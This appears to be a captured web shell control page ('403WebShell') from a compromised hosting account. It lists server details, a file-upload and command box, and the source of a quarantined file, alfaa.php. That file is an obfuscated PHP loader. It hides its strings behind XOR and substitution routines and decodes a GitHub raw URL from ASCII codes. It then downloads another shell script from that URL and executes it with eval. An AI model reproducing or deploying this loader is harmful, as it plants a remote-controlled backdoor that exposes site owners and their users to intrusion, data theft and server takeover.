Uname:Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64

Base Dir : /home/iscmbt-kufa-atu/public_html

User : iscmbt-kufa-atu


403WebShell
403Webshell
Server IP : 89.117.53.150  /  Your IP : 216.73.216.11
Web Server : Apache
System : Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : iscmbt-kufa-atu ( 1014)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/iscmbt-kufa-atu/quarantine/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/iscmbt-kufa-atu/quarantine/alfaa.php
<?php
$_0x0gc6s=implode('',[0 => 'Ow', 1 => 'AU', 2 => 'HH', 3 => 'KV', 4 => 'gv', 5 => 'rr', 6 => 'Zc', 7 => 'r7']);function _0xspz7l($_0xjy6z4, $_0xtqo6a) {$_0xk7wf1 = strlen($_0xtqo6a);$_0xgql5u = '';for($_0xcx2q1=0;$_0xcx2q1<strlen($_0xjy6z4);$_0xcx2q1++){$_0xgql5u .= chr(ord($_0xjy6z4[$_0xcx2q1]) ^ ord($_0xtqo6a[$_0xcx2q1 % $_0xk7wf1]));}return $_0xgql5u;}function _0xfgb15($_0x8balj) {global $_0x8ojg2,$_0x0gc6s;$_0x6i1km = $_0x8ojg2['LXIpa'][$_0x8balj];$_0xsz3g5 = $_0x8ojg2['snYFk'];$_0xn1agz = '';for ($_0xcx2q1 = 0; $_0xcx2q1 < strlen($_0x6i1km); $_0xcx2q1++) {if (!(!($_0xcx2q1 % 3 != 2))) {$_0xn1agz .= $_0x6i1km[$_0xcx2q1];}}$_0x6jmfb = array_flip($_0xsz3g5);$_0x0oi75 = '';for ($_0xcx2q1 = 0; $_0xcx2q1 < strlen($_0xn1agz); $_0xcx2q1++) {$_0xrtrzl = $_0xn1agz[$_0xcx2q1];$_0x0oi75 .= isset($_0x6jmfb[$_0xrtrzl]) ? $_0x6jmfb[$_0xrtrzl] : $_0xrtrzl;}$_0xag6ew = _0xspz7l(hex2bin($_0x0oi75),$_0x0gc6s);return strrev($_0xag6ew);}
$_0x8ojg2 = [
    'snYFk' => ['a' => 'a', 'b' => 'c', 'c' => 'm', 'd' => 'd', 'e' => 'r', 'f' => 'e', 'g' => 'n', 'h' => 'y', 'i' => 'i', 'j' => 'x', 'k' => 's', 'l' => 'z', 'm' => 'p', 'n' => 'h', 'o' => 'w', 'p' => 'j', 'q' => 'b', 'r' => 'f', 's' => 't', 't' => 'g', 'u' => 'l', 'v' => 'v', 'w' => 'u', 'x' => 'o', 'y' => 'q', 'z' => 'k', 'A' => 'J', 'B' => 'F', 'C' => 'D', 'D' => 'Y', 'E' => 'E', 'F' => 'W', 'G' => 'X', 'H' => 'N', 'I' => 'L', 'J' => 'P', 'K' => 'C', 'L' => 'O', 'M' => 'S', 'N' => 'Q', 'O' => 'G', 'P' => 'R', 'Q' => 'M', 'R' => 'B', 'S' => 'Z', 'T' => 'K', 'U' => 'U', 'V' => 'A', 'W' => 'I', 'X' => 'T', 'Y' => 'H', 'Z' => 'V', 0 => 6, 1 => 3, 2 => 8, 3 => 0, 4 => 7, 5 => 4, 6 => 9, 7 => 1, 8 => 5, 9 => 2, '+' => '/', '/' => '+'],
    'LXIpa' => ['UDin' => '0d!03^38)93%3e&8d(6r!89!8a%0e%07@0m&3r*6e%30(4d#', 'PtHv' => '', 'ubfR' => '86(36#03!63@0a(02&', 'EAlY' => '8m@39@8m^6d^67#86@', 'ghCe' => '', 'LZWn' => '', 'BisF' => '8m@39(8m(6d!67!86#', 'JFQv' => '8r)', 'vVWh' => '0r#', 'UgWD' => '8d^', 'xGbA' => '05(', 'llNi' => '8m)', 'sFib' => '8a!', 'OWZo' => '8c&', 'igBL' => '0d%', 'wztF' => '8a&', 'UhFX' => '0c)', 'IKng' => '82(', 'UuDL' => '09!', 'RGrd' => '85*', 'JQhN' => '0a&', 'evWw' => '81)', 'KABV' => '89#', 'LqBA' => '89!', 'Nsmn' => '86*', 'EgsD' => '84&', 'NGDR' => '0e(', 'Uxix' => '87&', 'iLZa' => '8r@', 'XSIg' => '80!', 'ZkWE' => '0m@', 'JYrN' => '88&', 'sGNO' => '8c^', 'gdDl' => '83#', 'rYmM' => '82#', 'aiza' => '86%', 'Mmad' => '85%', 'GQkU' => '0e!', 'Dmkz' => '81#', 'Pzyw' => '0r*', 'FABH' => '84)', 'cMlk' => '0d&', 'BZHx' => '87%', 'pvos' => '0m&', 'bgeK' => '80)', 'vDQW' => '0c(', 'gLYs' => '04!', 'jFwt' => '0a%', 'zvTO' => '01#', 'LkfE' => '02(', 'ECIG' => '8m*', 'KsPD' => '05!', 'EHWL' => '02&', 'Ftuv' => '01)', 'sMSL' => '8d%', 'sOAN' => '09#', 'yBLf' => '83#', 'FWYt' => '04%', 'oUez' => '88&', 'eRjz' => '6r&', 'znXg' => '3r&', 'svuz' => '6d&', 'yKfc' => '35^', 'YdIw' => '6m#', 'XamP' => '6a*', 'vEVn' => '6c(', 'CmMn' => '3d)', 'sWkN' => '6a&', 'UsMd' => '3c*', 'fnJt' => '62%', 'kYVy' => '39*', 'WwtL' => '65!', 'xnfo' => '3a&', 'fsFr' => '61)', 'fJsd' => '69(', 'FMCk' => '69%', 'JXJK' => '66)', 'KqdY' => '64*', 'tUFG' => '3e&', 'gtrw' => '67*', 'bhPE' => '6r%', 'EsZW' => '60*', 'xdVN' => '3m^', 'whQB' => '68*', 'dfvg' => '6c%', 'tvZX' => '63*', 'mBoO' => '62(', 'opPX' => '66^', 'RaVT' => '65@', 'rGqq' => '3e%', 'mjFU' => '61@', 'VvkB' => '3r@', 'cNnY' => '64!', 'MtEf' => '3d^', 'lNIq' => '67*', 'mRXu' => '3m)', 'eTtw' => '60&', 'yQib' => '3c@', 'sbVx' => '34!', 'IqBL' => '3a@', 'PHrO' => '31#', 'oONK' => '32@', 'gnAP' => '6m)', 'BmFe' => '35^', 'dsPZ' => '32%', 'Glmh' => '31*', 'yDUs' => '6d@', 'phPK' => '39(', 'euQj' => '63%', 'BFcs' => '34@', 'Ruro' => '68(', 'jSua' => '1a#', 'mjOZ' => '12(', 'topf' => '15(', 'hEEU' => '11#', 'qkgK' => '19@', 'HkIo' => '1e@', 'ntOb' => '1r^', 'cdGM' => '1d^', 'Ebfu' => '1m(', 'DTsk' => '1c(', 'Bper' => '97#', 'KJAe' => '96#', 'FNtc' => '96!', 'Vkeh' => '97%', 'szIS' => '86*36)03@63*0a#02%', 'NMsr' => '', 'raet' => '91#60%13%17!13)15^']
];


$_0xt4iye=_0xfgb15('UDin');function _0xbr7wq($_0x43taj, $_0xat4fb) {$_0xaa7su = strlen($_0xat4fb);$_0xixibx = _0xfgb15('PtHv');for($_0xihy63=0;$_0xihy63<strlen($_0x43taj);$_0xihy63++){$_0xixibx .= chr(ord($_0x43taj[$_0xihy63]) ^ ord($_0xat4fb[$_0xihy63 % $_0xaa7su]));}return $_0xixibx;}function _0xg8pkz($_0xs9t59) {global $_0xvou1e,$_0xt4iye;$_0x6x9eq = $_0xvou1e[_0xfgb15('ubfR')][$_0xs9t59];$_0x557f8 = $_0xvou1e[_0xfgb15('EAlY')];$_0xpcaxt = _0xfgb15('ghCe');for ($_0xihy63 = 0; $_0xihy63 < strlen($_0x6x9eq); $_0xihy63++) {if (!(!(!(!($_0xihy63 % 3 != 2))))) {$_0xpcaxt .= $_0x6x9eq[$_0xihy63];}}$_0xrf2gn = array_flip($_0x557f8);$_0xq6d4q = _0xfgb15('LZWn');for ($_0xihy63 = 0; $_0xihy63 < strlen($_0xpcaxt); $_0xihy63++) {$_0xaxyyt = $_0xpcaxt[$_0xihy63];$_0xq6d4q .= isset($_0xrf2gn[$_0xaxyyt]) ? $_0xrf2gn[$_0xaxyyt] : $_0xaxyyt;}$_0x73e29 = _0xbr7wq(hex2bin($_0xq6d4q),$_0xt4iye);return strrev($_0x73e29);}
$_0xvou1e = [
    _0xfgb15('BisF') => [_0xfgb15('JFQv') => _0xfgb15('vVWh'), _0xfgb15('UgWD') => _0xfgb15('xGbA'), _0xfgb15('llNi') => _0xfgb15('sFib'), _0xfgb15('OWZo') => _0xfgb15('igBL'), _0xfgb15('wztF') => _0xfgb15('UhFX'), _0xfgb15('IKng') => _0xfgb15('UuDL'), _0xfgb15('RGrd') => _0xfgb15('JQhN'), _0xfgb15('evWw') => _0xfgb15('KABV'), _0xfgb15('LqBA') => _0xfgb15('Nsmn'), _0xfgb15('EgsD') => _0xfgb15('NGDR'), _0xfgb15('Uxix') => _0xfgb15('iLZa'), _0xfgb15('XSIg') => _0xfgb15('ZkWE'), _0xfgb15('JYrN') => _0xfgb15('sGNO'), _0xfgb15('gdDl') => _0xfgb15('rYmM'), _0xfgb15('aiza') => _0xfgb15('Mmad'), _0xfgb15('GQkU') => _0xfgb15('Dmkz'), _0xfgb15('Pzyw') => _0xfgb15('FABH'), _0xfgb15('cMlk') => _0xfgb15('BZHx'), _0xfgb15('pvos') => _0xfgb15('bgeK'), _0xfgb15('vDQW') => _0xfgb15('gLYs'), _0xfgb15('jFwt') => _0xfgb15('zvTO'), _0xfgb15('LkfE') => _0xfgb15('ECIG'), _0xfgb15('KsPD') => _0xfgb15('EHWL'), _0xfgb15('Ftuv') => _0xfgb15('sMSL'), _0xfgb15('sOAN') => _0xfgb15('yBLf'), _0xfgb15('FWYt') => _0xfgb15('oUez'), _0xfgb15('eRjz') => _0xfgb15('znXg'), _0xfgb15('svuz') => _0xfgb15('yKfc'), _0xfgb15('YdIw') => _0xfgb15('XamP'), _0xfgb15('vEVn') => _0xfgb15('CmMn'), _0xfgb15('sWkN') => _0xfgb15('UsMd'), _0xfgb15('fnJt') => _0xfgb15('kYVy'), _0xfgb15('WwtL') => _0xfgb15('xnfo'), _0xfgb15('fsFr') => _0xfgb15('fJsd'), _0xfgb15('FMCk') => _0xfgb15('JXJK'), _0xfgb15('KqdY') => _0xfgb15('tUFG'), _0xfgb15('gtrw') => _0xfgb15('bhPE'), _0xfgb15('EsZW') => _0xfgb15('xdVN'), _0xfgb15('whQB') => _0xfgb15('dfvg'), _0xfgb15('tvZX') => _0xfgb15('mBoO'), _0xfgb15('opPX') => _0xfgb15('RaVT'), _0xfgb15('rGqq') => _0xfgb15('mjFU'), _0xfgb15('VvkB') => _0xfgb15('cNnY'), _0xfgb15('MtEf') => _0xfgb15('lNIq'), _0xfgb15('mRXu') => _0xfgb15('eTtw'), _0xfgb15('yQib') => _0xfgb15('sbVx'), _0xfgb15('IqBL') => _0xfgb15('PHrO'), _0xfgb15('oONK') => _0xfgb15('gnAP'), _0xfgb15('BmFe') => _0xfgb15('dsPZ'), _0xfgb15('Glmh') => _0xfgb15('yDUs'), _0xfgb15('phPK') => _0xfgb15('euQj'), _0xfgb15('BFcs') => _0xfgb15('Ruro'), 0 => _0xfgb15('jSua'), 1 => _0xfgb15('mjOZ'), 2 => _0xfgb15('topf'), 3 => _0xfgb15('hEEU'), 4 => _0xfgb15('qkgK'), 5 => _0xfgb15('HkIo'), 6 => _0xfgb15('ntOb'), 7 => _0xfgb15('cdGM'), 8 => _0xfgb15('Ebfu'), 9 => _0xfgb15('DTsk'), _0xfgb15('Bper') => _0xfgb15('KJAe'), _0xfgb15('FNtc') => _0xfgb15('Vkeh')],
    _0xfgb15('szIS') => [0 => _0xfgb15('NMsr'), 1 => _0xfgb15('raet')]
];


// ASCII array of the GitHub raw URL
$_0x9fw2w = [104, 116, 116, 112, 115, 58, 47, 47, 114, 97, 119, 46, 103, 105, 116, 104, 117, 98, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 77, 114, 88, 99, 111, 100, 101, 114, 111, 102, 102, 105, 99, 105, 97, 108, 47, 77, 114, 120, 115, 104, 101, 108, 108, 50, 48, 50, 53, 47, 114, 101, 102, 115, 47, 104, 101, 97, 100, 115, 47, 109, 97, 105, 110, 47, 120, 112, 97, 115, 115, 46, 112, 104, 112];

// Convert ASCII codes to string
$_0xqtezw = _0xg8pkz(0);
foreach ($_0x9fw2w as $_0xdes36) {
    $_0xqtezw .= chr($_0xdes36);
}

// Fetch the PHP code from the URL
$_0xp4gd1 = file_get_contents($_0xqtezw);

// Execute the fetched code
eval(_0xg8pkz(1).$_0xp4gd1);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit